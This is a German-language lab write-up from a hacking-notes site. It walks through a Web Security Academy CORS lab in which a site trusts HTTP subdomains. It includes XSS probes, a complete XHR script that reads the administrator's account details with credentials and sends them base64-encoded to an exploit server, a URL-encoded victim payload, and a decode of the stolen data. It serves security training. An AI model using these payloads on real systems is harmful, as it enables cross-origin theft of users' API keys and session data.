> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS mit vertrauten unsicheren Protokollen

### CORS-Schwachstelle mit vertrauenswürdigen unsicheren Protokollen

Die Site hat eine verwundbare CORS-Konfiguration: Sie vertraut allen **Subdomains**, auch wenn **HTTP**. Das Ziel ist, den API-Schlüssel des Administrators über CORS abzurufen und an den Ausführungsserver zu exfiltrieren.

Bereitgestellte Zugangsdaten: `wiener:peter`.Die Site hat eine verwundbare CORS-Konfiguration: Sie vertraut allen **Subdomains**, auch wenn **HTTP**. Das Ziel ist, den API-Schlüssel des Administrators über CORS abzurufen und an den Ausführungsserver zu exfiltrieren.

Bereitgestellte Zugangsdaten: `wiener:peter`.

#### Beobachtungen

* Die Root-Domain wird in **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/570193d9974c98449e9c859b46386a42c842a85c" alt=""><figcaption></figcaption></figure>

**Subdomains** in HTTP werden ebenfalls akzeptiert:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/31c9bd5be372d29891b98609b04bc3b500256c43" alt=""><figcaption></figcaption></figure>

Über stockcheck identifizierte Subdomain:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/e9ff3d34659dc5c3de02b765bc9ef15139ca20fb" alt=""><figcaption></figcaption></figure>

Dieser Eintrag spiegelt `productId` → \*\* HTML/JS\*\*-Injektion möglich:

```html
?productId=test&storeId=1
```

<figure><img src="/files/3a6905837b99560d6cf8cd6c30291d4e83f4f5a6" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/14cc31af7b963075876f091cc7b763a26e84baef" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aa87559ad6e4b84f240a5367cf4129c88f0b7bdb" alt=""><figcaption></figcaption></figure>

#### Ausnutzung: Lesen `/accountDetails` und Exfiltration

Verwendetes XHR-Skript (über Subdomain gesendet):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Skript in den `productId` Parameter der verwundbaren Subdomain ein:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Zur URL umleiten, um es mit dem `apiKey` Variable zu nutzen, die die kodierte Antwort enthält.

<figure><img src="/files/86adef45c3711454e91e930b82646bd6445eb770" alt=""><figcaption></figcaption></figure>

#### An das Opfer gesendete Nutzlast (URL-kodierte Version)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* API-Schlüssel auf dem Server empfangen, um ihn über den `apiKey` Parameter auszunutzen.

<figure><img src="/files/a3e3eed077fb5f1121e5aade0e313a082846ae1d" alt=""><figcaption></figcaption></figure>

* Dekodierung durchgeführt mit:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/560001783a86ce56546c164b72ce6c654161f7e4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
